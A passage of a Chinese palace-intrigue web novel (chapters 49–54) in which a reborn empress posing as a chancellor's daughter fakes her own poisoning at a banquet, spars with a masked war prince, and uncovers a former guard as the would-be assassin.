《女帝重生后,死对头战王跪求名份》 第49章:作诗 热闹的园子里顿时安静下来。 透过人群,可以看到一道修长的身影从入口处大步走来。 那人穿着一身上好的罗云锦缎,腰间束一玄色腰带,走起路来,步步生风。 公主府并不准外人携带兵器,但这个男人却显然不同。 在他的右手,握着一柄长刀,刀鞘与腰间玉珏相击的清音荡漾开去,在寂静的院中格外清晰。 “切!这男人惯会装模作样。” 宋颜夕下意识伸长脖子。 她原本想看看她这个死对头到底长什么模样。等他坐下才看清,那张脸被一块蛟龙面具紧紧覆盖,只露出一双冰冷的眸子。 “在战场上故弄玄虚也就罢了,便是在这上京城竟也不敢以真面目示人,莫非,此人当真长得奇丑无比?” 宋颜夕喃喃自语之时,南宫景已经在大长公主下首的席位上坐了下来。 “天呐,真的是战王殿下。” “战王殿下从不参加任何宴会,今日怎么会来?” “啊,我看到战王殿下的眼睛了。他该不会杀了我吧?” “怎么办,我要怎么做才能求殿下饶我一命?” 听着旁边那几位姑娘的保命发言,宋颜夕忍不住扯了扯嘴角。 那男人,不过是眼神冰冷了一些。 有这么可怕吗? 大概是这几个姑娘的言论太过有趣,宋颜夕带着探究的目光朝南宫景看了过去。 好巧不巧,南宫景正好也朝她看了过来。 眼神交汇的时候,宋颜夕似乎看到了他眼中的,戏谑。 【什么情况?这男人是在嘲笑本帝吗?果然还是和以前一样可恶……】 宋颜夕差点就要冲上去抓着他的脖子一顿胖揍,却见南宫景已经别开了目光。 宋颜夕顿时回神。 是啊 这一世,她根本就没和这位东越战王有过交集,他怎么可能莫名其妙嘲笑她? 转头一看,却见身后某位世家小姐正在对南宫景暗送秋波。 宋颜夕松了一口气:“原来如此!他刚刚并不是在看我。” 殊不知,南宫景此刻也是心乱如麻。 【那女人刚刚是怎么回事?该不会,认出本王了吧?】 南宫景伸手摸向自己的脸,直到指尖碰到冰冷的面具,才稳住心神。 他打扮成这样,那女人绝对不可能认出他来。 “阿景这是在看哪家姑娘?” 正想着,耳边传来大长公主的声音。 南宫景端起桌上的杯子:“阿姊误会了,我只是看看有没有可疑人。” “那,阿景可有发现?” “有!” 南宫景随手一指,道:“我觉得,那人便挺可疑的。” 长公主顺着他所指的方向看去,正好看到宋颜夕朝她这边张望。 “你说她啊,那是相府的二姑娘,小时候身子不好被送到庄子里养着,前些日子才被接回来。昨儿个还在路上差点被山贼掳走了呢,说起来,这丫头也真是有胆色,一般姑娘遇到这种事,哪个不是哭哭啼啼的……” 说起宋颜夕,大长公主滔滔不绝。 南宫景皱了皱眉。 这宋颜夕才进公主府不到两日,怎的就让他这位阿姊赞不绝口? “阿姊,时辰差不多了。” 被南宫景一提醒,大长公主这才宣布赏花会正式开始。 宋颜夕托着腮看那些官家小姐表演,顿时计上心头。 还没等她开口,有人却先她一步说道:“听闻相府千金个个才华横溢,不如请宋二姑娘作诗一首,如何?” 宋颜夕看向说话的那人。 青娥似乎猜到她心中所想,轻声说了一句:“那是礼部尚书府上的杨蕊姑娘。” 宋颜夕瞬间懂了。 礼部尚书和她那个相国爹爹在朝堂上向来不对付,连带着家中的小辈也是互相看不顺眼。 这个杨蕊,摆明是来找茬的。 不过却也正中下怀。 “杨姑娘,我家彩儿刚回京,对这赏花会的规矩还不甚了解。不如请嘉儿代为……” 话还没说完,就被杨蕊打断:“宋夫人如此推脱,该不会是因为这刚找回来的二姑娘是个草包,根本就不会作诗吧?” “当然不是……” “不就是作诗吗?这有何难?” 姜淑萍正要找个借口糊弄过去,宋颜夕已经离开位子走上前朝大长公主行礼。 “臣女见这园中梅花开得正好,倒是想起了几句诗。若是殿下觉得这首诗还能入眼,不知能否让臣女讨个赏赐?” “你倒是大胆,竟还向本宫讨赏来了。也罢,先让本宫听听你作的诗。” 宋颜夕挑眉一笑,走到梅花树下,轻轻捻起一枚花瓣,朱唇轻启: “朔风撼宇过边墙,独见虬枝傲骨香。十万铁骑横雪路,烽烟荡尽我歌狂。” 当最后一个字落下的时候,原本端坐于席间的南宫景“腾地”站了起来。 因为太过激动,甚至打翻了桌上的瓜果酒盅。 “大胆宋彩衣,你一个闺阁女子,怎敢妄议朝政?竟还敢以区区梅花比作边关将士,莫不是在说我大越铁骑都是花架子吗?” 南宫景还没说话,杨蕊就迫不及待给宋颜夕扣上一顶不敬将士的帽子。 其他人见南宫景动了怒,也附和着说道:“宋彩衣此言,其心可诛啊!” 就连姜淑萍也一脸恨铁不成钢地瞪着宋颜夕。 “果然是扶不上墙的烂泥,这下,我该如何和相爷解释?” 面对众人的责难,宋颜夕面不改色:“我虽没什么才学,却也不是不通文墨。我倒要问问诸位,方才的诗句中,有哪一句不敬边关将士了?” 宋颜夕掷地有声,那些叫嚣的人倒是安静下来。 目光从那些挑事儿的人脸上扫过,宋颜夕轻笑一声:“二位殿下还未发话,你们便这么急着跳出来,若是不知道的,还以为你们才是赏花会的话事人呢?” “宋彩衣,你休要给我们乱扣帽子!分明是你......” 杨蕊才刚开口,就被南宫景打断。 “本王倒是觉得,这诗作得极妙。” 此话一出,就连大长公主都朝南宫景投去疑惑的目光。 她这位弟弟今日的表现,着实反常。 他何曾在外人面前有如此大的情绪起伏? 想了想,她朗声说道:“本宫也觉得这诗极好,宋二姑娘想要什么赏赐?” 宋颜夕暗喜,指着大长公主面前的糕点:“臣女想要......” “别急着讨赏。” 南宫景一边说,一边朝宋颜夕走了过去,直到二人之间仅剩一臂距离才继续问道: “宋二姑娘从未去过边关,如何能写出这豪情万丈的边塞诗?这诗作,该不会是你窃取的吧?” 第50章:我有一颗解毒丸 “臣女虽未去过边关,却见过从战场上下来的人,今日见了园中梅花,不免联想到边关将士戍边卫国的铮铮傲骨。敢问殿下,又有何证据说臣女这诗是窃取他人呢?” 宋颜夕可不怕南宫景,想当年在战场上,他们也是真刀真枪干过架的。 而且这诗的确是她曾经在战场上所作,知道这首诗的,便只有西菱军中的一个小兵。 南宫景根本不可能知道这诗的来处。 是以,在说这句话的时候,她坦然无畏地直视南宫景的眼睛。 这一幕落在旁人眼里,那就是另外一番味道了。 “宋颜夕是吃了雄心豹子胆了吗?竟敢和战王殿下呛声?” “等着吧,殿下定不会饶了她的。” “唉,乡下来的就是没见识,大方承认不会作诗,顶多就是臭了名声。但若是得罪了战王,那可是死路一条啊。” 就在众人都以为宋颜夕必死无疑的时候,南宫景却转身回到了自己的席位上。 “宋二姑娘不仅文采好,胆色亦是过人。今日这赏,该得!除了公主那份,本王也允你一物。待赏花会结束后,便来找本王领赏吧。” 见南宫景不仅放过宋颜夕,还承诺要给她赏赐,杨蕊气得差点撕破了手中的帕子。 而宋颜夕呢,脸上并没有太过欣喜的表情。 南宫景要私底下见她,莫非是在怀疑她? 不过想到接下来要做的事,她很快就冷静下来。 反正她马上就要“中毒身亡”了,就算南宫景怀疑她,也拿她没办法。 按照计划,宋颜夕果真向大长公主讨要了翡翠糕。 接过翡翠糕的时候,方才还嫉妒她的那些世家小姐个个掩着帕子笑了。 “闹这么一出,竟然只为了几块糕点?” “果然是乡下来的,当真是没有见识。” “没看到宋夫人脸都气绿了吗?这个宋彩衣啊,可真是把相府的脸都丢尽了。” 宋颜夕可不管旁人怎么说,她四下张望,试图从人群中找到南宫景。 “这个何二哥,关键时刻去哪儿了?” 他们可是说好了,她假装中毒之后,南宫景要负责将她抬下去的。 戴着面具的南宫景察觉到她的动作,不动声色地朝暗处比了个手势。 很快,宋颜夕就在人群中看到了一张黝黑的脸。 “臣女多谢公主殿下赏赐。” 宋颜夕把嘴角咧得很大,还没回到自己的席位就迫不及待地将翡翠糕塞进了嘴里。 “彩儿,公主面前不得失礼。” 姜淑萍担心宋颜夕再闹出笑话,硬着头皮上前将她拽了回去。 岂料,她的手才刚碰到宋颜夕,宋颜夕就嚷着头疼倒在了她的怀里。 低头一看,却见宋颜夕嘴唇发紫,嘴角以及眼角都有鲜血流出。 “啊!” 姜淑萍下意识将她推开。 等她反应过来的时候,宋颜夕已经躺在地上开始抽搐。 “宋二姑娘这是怎么了?” “该不会是有什么隐疾吧?” “乡下来的,就是毛病多,以后咱们可都离她远点儿。” 此时此刻,姜淑萍已经听不见那些嘈杂的声音了,她哆嗦着朝大长公主的方向跪了下去:“求殿下救救我家彩儿。” 大长公主还没发话,南宫景就率先朝她所在的方向走来。 他扫了宋颜夕一眼,被面具遮住的眉毛忍不住抽了抽。 这女人,还真是下了“血本”啊。 若非知道宋颜夕的计划,便连他也会被她蒙蔽过去。 “宋二姑娘这是中毒了!” 大长公主脸色一变:“好端端怎么会中毒呢?还不快请太医。” 大长公主年事已高,府上便有随行的太医。 当太医诊出宋颜夕是因为吃了翡翠糕中毒的时候,南宫景勃然大怒。 他立刻下令将所有人拘于府中,等到查出下毒之人方可放行。 而太医也宣告,宋颜夕中毒太深,回天乏术。 “怎么会这样呢?” 大长公主看着躺在地上毫无生气的宋颜夕,眼中闪过惋惜之色。 【本想将这丫头介绍给阿景,没想到,竟会生出这样的变故,终究是这孩子福薄。】 “哎呀我的彩儿啊,年纪轻轻就这么没了,母亲愧对你啊。”姜淑萍虽然心里犯恶心,却还是扑在宋颜夕身上哭得“肝肠寸断” 闭着眼装死的宋颜夕暗自腓腹: 【这个时候就别演戏了。赶紧松开本帝,再拖下去,闭气丸就要失效啦。】 就在宋颜夕马上就要“垂死病中惊坐起”的时候 大长公主终于轻叹一声:“这丫头也是因为本宫才会遭此横祸,本宫定会将她风光大葬,来人呐,先将宋二姑娘抬下去吧。” 宋颜夕大喜 【可算是要结束了】 “此事不急” 听到南宫景的声音,宋颜夕心里咯噔一下。 这死贱男,又想整什么幺蛾子? “本王前些日子刚得了一枚解毒丹,据说可以解百毒。本王既然许了宋二姑娘一物,便赐此物赐给宋二姑娘吧。或许,还能救她一命。” 宋颜夕藏在袖子下的手紧握成拳 【谁要你的破宝物,死贱男,滚一边去】 然而她的愿望终究是落空了。 就在她暗暗把南宫景骂了八百遍的时候,嘴里忽然一凉。 淡淡的辛辣味在口腔里蔓延开去 宋颜夕心神一震 这药丸里竟然加了 辣椒面!! 她握紧拳头,强忍着那呛人的味道,便连眉头皱在一起都不曾察觉。 “果真是灵丹妙药啊,宋姑娘有反映了” 太医哪儿见过这样的医学奇迹,激动得胡子都要飞上天了。 他迅速掏出银针在宋颜夕手背上扎了几下。 那一刻,所有人都看到宋颜夕手背上暴起的青筋。 大长公主拍着胸脯:“活过来了,活过来了。快,将宋丫头送到东厢房,好生伺候着。” 被抬到厢房之后,宋颜夕又被强行喂了不少药。 等到屋内的人都退下之后,宋颜夕掀开被子跳下床。 “死贱男,竟然敢阴本帝,你给我等着!” 她冲到桌边,拎着水壶就往嘴里灌。 该死的辣椒面,呛得她喉咙都要冒烟了。 然而就在此时,房间的门忽然被人重重推开。 第51章:他的要求 “宋二姑娘,身体恢复得挺快啊。” 看着宋颜夕喝水的动作,南宫景不动声色地勾了勾嘴角:“看来,这解毒丸当真是神药。” 那一刻,宋颜夕脑中闪过无数种想法。 她如果在此时宰了这个男人,会怎么样? “看宋二姑娘的神色,莫不是,想要杀了本王?” 宋颜夕做了几个深呼吸,皮笑肉不笑地答了一句:“殿下说得哪里话,臣女感谢殿下都来不及。” “也对,本王可是宋二姑娘的救命恩人。” 南宫景反手关门,直接在宋颜夕旁边坐了下来:“宋二姑娘打算如何报答本王?” 【我报你个大头鬼啊】 心中虽然不满,宋颜夕却还是不得不认清现实。 以她如今的身份,根本没有和南宫景作对的资本。 而且,南宫景喂她的根本就不是解毒丸,这就说明,这男人早己看穿了她的把戏。 不过他既看破一切,却又不揭穿。 摆明了是有他自己的计划。 她收起情绪,朝南宫景福了福身:“不知殿下有何吩咐?” “你倒是通透!” 南宫景扣了扣桌面,犀利的目光直射她的眼睛:“本王要你,替本王监视宋章。” 宋章,便是宋颜夕如今名义上的父亲。 东越右相。 宋颜夕想都没想就直接回答:“臣女在相府并不受宠,而且刚回京,连父亲的面都没见过。怕是帮不了殿下。” “宋二姑娘这是在拒绝本王?” 南宫景端起桌上的杯子,轻轻一捏,上好的青瓷小盏就碎成粉末。 “拒绝本王,那便是本王的敌人了。你可知,本王对待敌人的手段?” 【知道,我可太知道了】 说起这个,宋颜夕颇有心得。 她曾经在战场上与南宫景博弈。 这男人狡猾得很,有一回,竟直接将她诱到小树林,用卑劣的手段要求她退兵三十里。 想到那件事,宋颜夕脸上闪过愠色。 南宫景一直在观察她的表情,见她似有动怒之相,便打算乘胜追击。 岂料,还没等他开口,宋颜夕的语气就软了下来。 “臣女不敢违逆殿下,只是担心自己人微言轻,无法完成殿下的任务。” “这个不难,你今日救了公主,公主必会赏赐于你。届时,你自可见到宋章。至于往后如何行事,便不需要本王教你了吧。” 宋颜夕低头:“臣女定会讨得父亲欢心,在相府站稳脚跟。” “既然如此,本王就等着宋二姑娘的好消息了。” 南宫景起身离开,走到门口时,忽然转头又问了一句:“那首诗,当真是你所作?” “那是自然。” 南宫景没再说什么,直接离开了。 宋颜夕见他没有返回的迹象,这才在位子上瘫坐下来。 “竟然让我这个不受宠的‘庶女’监视宋章?这男人葫芦里卖的到底是什么药?” 离开东厢房后,南宫景立刻招来段恒。 “西菱那边,最近有何消息?” “停战后,边境一切正常。” 段恒将一个卷轴交给南宫景:“这是安排在西菱的细作传回的消息。” 南宫景打开卷轴,看到上面的内容时,几乎要把卷轴捏破。 “女帝负伤,数月未临朝,摄政王代掌朝政?此等要事,为何不早上报?” 段恒单膝跪下,拱手抱拳:“王爷恕罪,自女帝负伤后,西菱国都戒严,我们的消息迟迟无法传出。这才拖了些时日。” 段恒一边说,一边观察着南宫景的神色。 见他没有动怒的迹象,这才继续说道:“王爷放心,属下已经命人打探过了,女帝只是在狩猎时摔伤了腿,没有大碍的。” “没有大碍?” 南宫景直接将卷轴甩在地上:“以她的性子,便是病得只剩一口气也不会扔下朝政不管。加派人手给我查,本王要知道月容负伤的所有细节。” “是!属下这便去安排。” 段恒退下后,南宫景取下书架上的锦盒。 锦盒打开,里面静静躺着一条绣着梅花的手帕。 而在帕子的右下角,赫然绣着几行字。 正是宋颜夕此前所吟的诗句。 他将帕子贴于掌心,痴痴看着那鲜艳欲滴的梅:“此诗唯你我二人知晓。月容啊月容,你与宋颜夕,究竟是何关系?” ...... 宋颜夕在床上躺了两天才“醒了过来”。 苏醒后,大长公主派人给她送了很多补身体的药材,并允许她在公主府自由行走。 “青娥,那是何处?” 见湖对面的那院子似有重兵把守,宋颜夕问了一句。 青娥低声答道:“那是锦瑟院,参加百花宴的贵人们如今便暂住在那儿。” 宋颜夕了然,那些人还没被放出府,也就是说,下毒之人还没有被抓到。 紫翎,会在那个院子里吗? 见不远处的长廊上有几个丫鬟拎着食盒走过,宋颜夕瞬间有了主意。 她揉了揉胳膊,道:“我忽然觉得有些冷,能否麻烦青娥姑娘替我回去取件氅子?” 青娥福身:“是奴婢疏忽了,姑娘在亭中稍坐片刻,奴婢这便回去取。” 见青娥的身影消失在视线中,宋颜夕立刻起身朝锦瑟院走去。 还没走到院门口,却被人拉入了假山后。 宋颜夕脸色一沉,直接从袖子里取出银针朝那人扎去。 “宋姑娘这是要,谋杀亲夫?” 听到那人的声音,宋颜夕立刻收起攻势。 “怎么是你?” 眼前这人不是别人,正是摘了面具,把脸涂得黝黑的南宫景。 想到刚刚那句话,她压低声音补了一句:“以后别再说这种话。咱们当初不是说了吗?离开村子之后,那婚事便不作数了。” “开个玩笑而已,你还当真了。” 南宫景指了指锦瑟院的方向:“你想进锦瑟院?可是去找人?” “没错,我要去......见宋夫人。” “行了,在我面前就别扯谎了。我看你根本就不是去找宋夫人,而是去找,投毒之人吧?” 宋颜夕后退一步:“开什么玩笑?我怎么知道是谁下的毒。” “是吗?本来我这两日查到了一些有用的线索,既然宋姑娘不认识那人,我便将那人交出去,没准还能讨个赏呢。” 南宫景转身往外走:“听说,战王已经下令,要对投毒者处以凌迟之行。也不知道,那娇滴滴的小姑娘能扛得住几刀呢。” “等等!” 第52章:真是紫翎 宋颜夕一把拉住南宫景:“你说,投毒者是一位姑娘?” “没错。” “她在你手上?” 南宫景摇头:“这个倒没有,不过,我知道她在哪儿。怎么,宋姑娘对她感兴趣?” 宋颜夕犹豫片刻,最终还是松开了手:“我就是好奇一问罢了。” 察觉到南宫景眼中的探究之色,宋颜夕转过头去:“公主府不比吕府,而且,那人既然敢在公主府投毒,自然不会毫无准备。你最好不要轻举妄动,若是贪功冒进丢了性命,可不值当。” “宋姑娘,这是在担心我?” “我才没空担心你呢。你这条命好歹也是本姑娘救回来的,我只是,心疼那些药。” 扔下这句话之后,宋颜夕提着裙摆走了出去。 刚回到亭子里,青娥便抱着氅子走了过来。 “姑娘脸色不好,可是受了寒?” 宋颜夕任凭她将氅子披在她肩上,心中却是思绪万千。 投毒之人是女子,莫非,真的是紫翎? 那丫头到底要干什么? 南宫景在假山后站了许久,见宋颜夕回了东厢房才转身朝另一个方向走去。 浣衣处,段恒蹲在墙头盯着院子里那个正在洗衣服的女子。 忽然,耳边响起一道熟悉的声音。 “可有异常?” 听到南宫景的声音,段恒赶紧转身,却在见到南宫景的脸时差点没一头栽倒下去。 “王爷,您的脸!” 南宫景扫了他一眼,段恒立刻低下头:“属下盯着她一天了,并未发现她与旁人接触。” “盯紧了,很快就有人来‘接触’她。记得,给她留个门。” 段恒不明所以,正要请南宫景给个提示,对方却已经跳下墙头离开了。 “所以,王爷到底为什么把脸涂成这样?” 当天晚上,段恒就发现院外多了个鬼鬼祟祟的身影。 月色下,宋颜夕穿着一身夜行衣,看着不远处的院门。 “浣衣处?莫非,那人就躲在这儿?” 白日里,她趁南宫景不注意,在他袖子上抹了药。 她以特殊的法子循着味找来,发现此处的味道最浓。 见四下无人,她从背上的布包里掏出一卷绳索,攀着绳子跳进了院子里。 段恒看着虚掩的大门:“是这门留得不够明显吗?” 那边,宋颜夕已经收回绳索,蹑手蹑脚地朝最大的那间屋子走去。 刚走到门口,门就被人从里面打开了。 一个同样穿着夜行衣的人就站在门的另一头,和宋颜夕大眼瞪小眼。 “你!” 宋颜夕正要开口,那人便已经抽出匕首朝她心脏刺来。 她一个侧身躲了过去,反手就朝那人洒出一把药粉。 “竟然,耍阴招!” 吐出这几个字之后,那人便双眼一闭,一头栽倒在地上。 宋颜夕在她身上踢了一脚,确认她是真的晕倒才俯身取下她脸上的黑巾。 看到那张熟悉的脸,宋颜夕目光一沉:“果然是你!紫翎” 紫翎醒来的时候,发现自己被绑在浣衣房的柱子上,而在她不远处,有个黑衣人背手而立。 她试图挣开身上的绳索,却发现这绳子竟然越绑越紧了。 “醒了?” 听到声音,宋颜夕转过身来:“糕点中的毒,是你下的?” 紫翎冷哼一声:“是我下的又如何?” “为何行刺大长公主?” “无可奉告!如今我既落到你的手里,要杀要剐,悉听尊便。” 宋颜夕知道紫翎的性子,倒也不恼:“西翎女子,果然有血性。不如,咱们来交换秘密吧。” 紫翎脸色一僵:“你怎知我是......” 话到嘴边,她意识到自己说错了,赶紧抿嘴不再说话。 宋颜夕摇了摇头,索性直接撕开脸上的面巾,将自己的容貌暴露在她面前:“你可还认得我?” “你是......那晚的姑娘?” 想到那天晚上宋颜夕对她说的最后几个字,紫翎眼中闪过错愕之色。 那天,到底是不是她幻听了? “看来你还记得我。” 宋颜夕一步一步走近,最后,贴着她的耳朵说了几个字:“那你是否还记得,凤尾翎的故事?小凤凰!” “这是我与陛......你怎么知道?你,到底是谁?” 紫翎很是激动,一双眼憋得通红。 “我说了,我可以和你交换秘密。但,你得先让我看到你的诚意。” “你......” 紫翎挣扎许久,最后,像是泻了气的球一样耷拉着脑袋:“你想知道什么?” “谁让你刺杀大长公主的?” “无人指使。” “所以,是你自己决定这么做的?” “没错。” “西菱好不容易与东越停战,若你杀了大长公主,两国战事再起,你可担得起这个后果?” 南宫景刚在屋顶上站定,就听到宋颜夕这句话。 他眼中闪过诧异之色,这女刺客是西菱人? 连他的人都没查出这女刺客的身份,宋颜夕如何知晓? 紫翎却忽然笑了:“那又如何?总有一天,我西菱铁骑会攻破长玉关,将东越狗贼斩于马下。” “你竟然是这样想的?” “你可知,一旦起了战事,会死多少人?” 紫翎昂首挺胸:“死就死,我西菱勇士何惧!” “我看你真是疯了!” 宋颜夕转身,直接舀起一盆水泼在她的脸上:“我知道你不怕死,可你有没有替那些无辜的百姓想过?你想想前线的将士,想想那些牙牙学语的孩子。一旦打破和平,会有多少个家庭支离破碎?你难道忘了,本......女帝陛下对你说过的话吗?” 听到这句话,紫翎的目光有些松动,可她还是倔强地抬着头:“要怪,就只能怪东越狗贼不守信用。若是陛下还在,她也会赞同我的做法的。” “她不会!” 宋颜夕抓着紫翎的衣襟,用只有两人能听到的声音说道:“她这一生的夙愿,便是四海升平,八方宁靖。你这么做,便是违背了她的意愿。” 紫翎一脚踹在她身上,用力之猛,直接将宋颜夕踹倒在地。 “休想用这招蒙骗我,你这东越狗贼,怎知我朝陛下宏愿?” 宋颜夕捂着腿站起来:“倘若我和你一样,也是西菱人呢?” 屋顶上的南宫景眸光一动。 她果然,是西菱人吗? 第53章:回府 “你怎么可能是西菱人?休要蒙骗我。” 宋颜夕拍了拍手上的灰,朱唇轻启:“我不仅是西菱人,而且和你一样,直接受命于陛下。” “不可能。” “你在陛下身边这么久,可曾听过玄弥?” “你怎么知道这个名字?” 紫翎不可置信地看着宋颜夕。 月容女帝座下共有五个贴身护卫,而玄弥便是这五个护卫之首。 玄弥极为神秘,据说多年来一直在外面执行秘密任务,紫翎跟着月容七年,从没见过她的真面目。 不仅是她,便是整个西菱皇室,知道这个名字的人屈指可数。 可宋颜夕就这样轻描淡写地说起这个名字,怎能让紫翎不震惊。 “没错,我就是玄弥。” 为了取得紫翎的信任,宋颜夕在她掌心花了一个图案。 紫翎更加震惊了。 这个图案,非西菱暗卫不能画。 难道,她说的都是真的? “你,真是玄弥大人?” 宋颜夕捡起地上的匕首划破她身上的绳索。 “若非情况特殊,我也不会在你面前暴露身份。如今我奉陛下之命潜伏东越,必不能让你破坏我的计划。我不管你与大长公主之间有何仇怨,在我完成任务之前,都给我憋住了。” 从知道她的身份开始,紫翎就处于呆滞状态。 见宋颜夕转身离开,紫翎喊了一句:“玄弥大人请留步。” “我如今是丞相府的二姑娘宋彩衣,在外人面前,可别叫错了。” “宋姑娘。” 紫翎拦住宋颜夕:“不知宋姑娘在执行什么任务?可有我能帮得上忙的?” “这不是你该打听的。” “我知道规矩。” 紫翎双眼通红,这一次,直接抓住了宋颜夕的手腕:“你知不知道,陛下她……她已经……” 宋颜夕见她这表情,隐约猜到了一些事情。 “此处不是说话的地方,等这件事结束之后,你来相府找我。” 一直到宋颜夕离开,紫翎终于忍不住落下眼中的泪。 她胡乱擦拭着眼泪,动作麻利地清除地上的痕迹。 做完这一切之后,她离开洗衣房,犹豫片刻,最终还是抬腿离开了院子。 屋顶上,南宫景的眉头越皱越紧。 宋颜夕是月容的贴身侍卫? 怪不得她的行为和月容如此相似。 那首诗,莫非也是月容告诉她的? 最让他在意的是紫翎的反应,她最后那句话,是什么意思? 月容,到底出了什么事。 南宫景看着紫翎离开的方向,眼中闪过一道杀意。 只要抓住这个女人,一切就明了了。 …… 第二天,宋颜夕便听到一个消息。 “你说什么?投毒的人抓到了?” 青娥动作熟练地挽起宋颜夕布菜:“是啊,贼人已经伏诛。公主殿下有令,锦瑟院的贵人今日便可回府了。” 伏诛? 宋颜夕压下心头的不适,佯装不在意地问了一句:“也不知是什么人如此大胆,竟敢在公主府投毒。” “据说是浣衣处的丫鬟,昨儿个夜里,还是王爷亲自拿的人。那贼人负隅顽抗,被王爷当场诛杀,听说啊,直接被砍断了脑袋呢。” 什么? 宋颜夕猛地起身,手中的筷子落在地上而不自知。 “姑娘这是怎么了?” 宋颜夕收敛心神:“我,我从未见过这等血腥之事,一时乱了方寸。” “姑娘莫要害怕,有咱们王爷在,公主府很安全的。” 青娥还说了些什么,宋颜夕已经听不清了。 她现在满脑子都是紫翎被砍下头颅的画面,心中对南宫景的怨恨直达顶峰。 【南宫景,你斩我心腹,本帝是不会放过你的。】 “彩儿可在里面?” 青娥替她重新布菜的功夫,屋外传来姜淑萍的声音。 宋颜夕收起情绪,起身朝门口走去。 刚走到门口,就看到姜淑萍领着宋娇娇和宋嘉站在门口。 “母亲!” 宋颜夕朝姜淑萍福了福身,姜淑萍立刻搀住她的胳膊:“彩儿身体虚,就莫要行礼了。公主殿下已经允许咱们离府,彩儿收拾收拾,随母亲回去吧。” 坐在回府的马车上,宋颜夕依旧神色恹恹。 宋娇娇冷哼一声:“摆着一张臭脸给谁看呢?要不是因为你贪吃,咱们也不会被拘在公主府这么多天。” “娇娇莫要胡说,彩儿如今可是保护公主殿下的功臣。你若是再拿此事找彩儿的麻烦,就休怪大伯母对你不客气了。” 还没等宋颜夕反击,姜淑萍就开口呵斥。 宋娇娇咬着唇,虽然心中愤懑,却不敢再找宋颜夕的茬。 接下来,一路无言。 回府之后,宋颜夕便一头扎进了梧桐苑,整整三天,她都没出现在人前。 这日,随侍的丫鬟传来消息。 宋章回府了,指明要见她。 宋颜夕抵达前院的时候,厅堂里已经坐着好几个人。 看向坐在主位的那个中年男人,宋颜夕屈膝行礼:“彩衣给父亲请安。” “起身吧。” 宋章打量着宋颜夕,过了好一会儿才开口:“身子可好些了?” “多谢父亲关心,女儿的身子已经没有大碍。” “如此便好。” 宋章招了招手,候在一旁的两个婆子立刻上前行礼。 “百花宴的事,为父已经知晓。你既不懂上京城的规矩,日后,便跟着两位嬷嬷多学学。” 宋颜夕看了那两个婆子一眼,低声应下。 见她表现乖巧,宋章满意地点了点头:“这些日子便不要出门了,在家中安心待嫁。” 被他一提醒,宋颜夕这才想起她身上还有一桩婚事。 这几日想着紫翎的事,倒是把这件事忘了。 就在她想着如何推掉这门婚事的时候,就见宋娇娇提着裙摆冲了进来。 “宋彩衣就是个乡下来的草包,怎么配得上世子?就算要嫁,那也是大姐姐嫁过去。” 听到这句话,宋颜夕勾了勾嘴角。 还真是瞌睡就有人送枕头,这个宋娇娇,来得可真是时候。 “娇娇,胡说什么呢?” 刘云香也没想到宋娇娇会忽然闯进来,赶紧将宋娇娇拉到一边。 “娇娇就是小孩子心性,大哥莫要和她计较。” 宋娇娇却并没有就此罢休,而是仰着下巴又说了一句:“我说错了吗?上京城谁人不知这原本是大姐姐的婚事,如今这草包刚回来就抢了大姐姐的婚事,还害得大姐姐生病。若是传出去,旁人会怎么看咱们宋家?” “宋娇娇,你给我闭嘴……” 说话的是宋家三房的男主人宋德。 他黑着脸站在门口,而在他身边,还站着一个身穿蓝色锦袍的年轻男子。 见了那人,就连坐在上首的宋章都“腾”地站了起来。 第54章:桃林里的刺杀 “楚王殿下,您怎么来了。” 楚王? 宋颜夕侧身看向那人,这个看起来像个文弱书生的男子,便是东越皇帝的胞弟,楚王南宫晏? 传闻右相宋章与楚王交好,如今来看,传闻非虚。 “本王路过相府,便想进来讨杯茶喝,倒是来得不巧。” “微臣教女无方,让殿下见笑了。” 宋德指着宋娇娇,低声呵斥:“还不快把这丢人现眼的东西带下去。” 刘云香正要将宋娇娇带走,南宫宴却摆了摆手:“宋侍郎不必如此,我看娇娇姑娘倒是天真烂漫,可爱得很呢。娇娇姑娘方才说谁抢了谁的婚事?” 宋娇娇脸色一红,正要开口,却被宋章抢先一步:“不过是女儿家之间打闹的气话罢了,不值得殿下费神。” 南宫宴不再追问,直接走到宋章对面坐下,低声和宋章说了几句话。 宋章摆摆手,堂上的女眷便都退了出去。 宋颜夕离开之前,明显感到南宫宴的目光停在她身上。 她佯装未曾察觉,与宋娇娇一前一后离开了前堂。 “宋彩衣,别以为大伯父偏心你就可以嫁入侯府,你,根本就配不上世子。” 宋颜夕看着宋娇娇:“是啊,我的确配不上世子。不如,我去求求母亲,把这婚事让给你,怎么样?” “你说真的?” 宋娇娇脸上闪过喜色,但很快又板着脸:“你胡说什么呢?我只是为大姐姐鸣不平而已。总之,你是绝对不可能嫁入侯府的。” 大概是心思被拆穿,宋娇娇说了两句之后就跺着脚离开了。 “姑娘莫要将这话放在心上,这桩婚事是相爷和夫人亲定的,您就是当之无愧的世子妃。” 宋颜夕看向那个说话的嬷嬷,这是宋章方才指给她的教习嬷嬷,何花。 “何嬷嬷放心,我是不会与四妹妹置气的。” “姑娘果然大度。” 另一个嬷嬷也不甘于后,说了几句好话之后,便催着宋颜夕回去上课。 后来,宋颜夕才知道,这两位嬷嬷并非宋章找来的,而是领了大长公主的命令,来府里照顾她的起居。 何花不愧是大长公主府出来的,手段了得,才来到梧桐院两天,姜淑萍派来监视她的那些丫鬟就被她治得服服帖帖。 至于另一个嬷嬷郑慧,除了第一天给她讲了半个时辰的规矩之外,便没再给她上课了。 不过,郑慧总是寸步不离地跟着宋颜夕,这让宋颜夕很是苦恼。 “大长公主这是什么意思?派人来监视我?不应该吧。” 又过了几日,郑慧忽然将一张纸条塞到她手里。 “王爷约姑娘一叙,这是地址。” 宋颜夕这才恍然大悟,原来,郑慧是南宫景那死贱男派来的。 她看了一眼上面的地址,随手将纸条撕碎:“嬷嬷应该知道,没有父亲的准许,我无法出门。” “这个无需姑娘操心,王爷都已经安排好了。姑娘只需准时赴约便可。” 正如郑慧所说的那样,没过多久,宋颜夕就接到了去径山寺祈福的通知。 除了她之外,还有姜淑萍母女以及二房三房的夫人小姐。 径山寺坐落于上京城北部的径山上,一行人浩浩荡荡地出了门,一路走走停停,抵达山门的时候已经是日暮时分。 传闻此庙十分灵验,京中贵族女眷到寺庙中祈福者不在少数,是以,径山寺单独开辟出一间庵堂用于接待女香客。 戌时,宋颜夕按照郑慧的指引来到庵堂后山。 后山有一处桃花林,因为正值冬季,林中铺满枯叶。 宋颜夕提着灯笼走在枯叶之上,除了耳边的寒风之外,便只能听见脚下传来的“沙沙”声。 